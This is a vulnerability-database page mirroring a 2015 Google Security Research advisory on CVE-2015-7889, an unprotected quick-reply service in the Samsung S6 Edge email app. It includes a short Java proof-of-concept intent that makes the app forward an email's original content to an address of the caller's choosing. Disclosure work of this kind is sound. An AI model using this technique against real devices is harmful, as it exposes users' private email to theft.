Lucene search
+L

Samsung - SecEmailComposer QUICK_REPLY_BACKGROUND Permissions

🗓️ 28 Oct 2015 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 28 Views

Samsung S6 Edge SecEmailComposer vulnerability in QUICK_REPLY_BACKGROUND permission

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2015-7889
28 Oct 201500:00
circl
CNVD
Samsung SecEmailComposer Elevation of Privilege Vulnerability
7 Nov 201500:00
cnvd
CVE
CVE-2015-7889
27 Dec 201718:00
cve
Cvelist
CVE-2015-7889
27 Dec 201718:00
cvelist
EUVD
EUVD-2015-7787
7 Oct 202500:30
euvd
GoogleProjectZero
Hack The Galaxy: Hunting Bugs in the Samsung Galaxy S6 Edge
2 Nov 201500:00
googleprojectzero
NVD
CVE-2015-7889
28 Dec 201702:29
nvd
Prion
Information disclosure
28 Dec 201702:29
prion
Source: https://code.google.com/p/google-security-research/issues/detail?id=490

The SecEmailComposer/EmailComposer application used by the Samsung S6 Edge has an exported service action to do quick replies to emails. It was found that this action required no permissions to call, and could lead to an unprivileged application gaining access to email content.

Service Action: com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND
Component: com.samsung.android.email.composer
Class Name: com.samsung.android.email.composer.service.QuickReplyService

The service takes a JSON encoded string with various additional parameters. We need to know two parameters, the email address of the local account and a message ID. We can guess a valid message ID (which just seems to be an incrementing number).

If we guess an invalid ID the service simply returns, but if we do get a valid ID the service seems to automatically create the reply email, attach an attacker supplied message as well as the contents of the original message and sends it to any email address you like. For example:

Intent intent = new Intent();
intent.setAction("com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND");
intent.setClassName("com.samsung.android.email.composer",
       "com.samsung.android.email.composer.service.QuickReplyService");
intent.putExtra("data", "{'original-msg-id':1, " +
       "'account-id':'[email protected]', " +
       "'msg':'Hello World!'," +
       "'title':'Hello Title'," +
       "'toList':'[email protected]'}");
ComponentName name = MainActivity.this.startService(intent);

No permissions are required to send this service intent. If successfully sent this will show up in a "sent email" notification and will be present user’s sent email folder.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Oct 2015 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 35.5
EPSS0.02257
28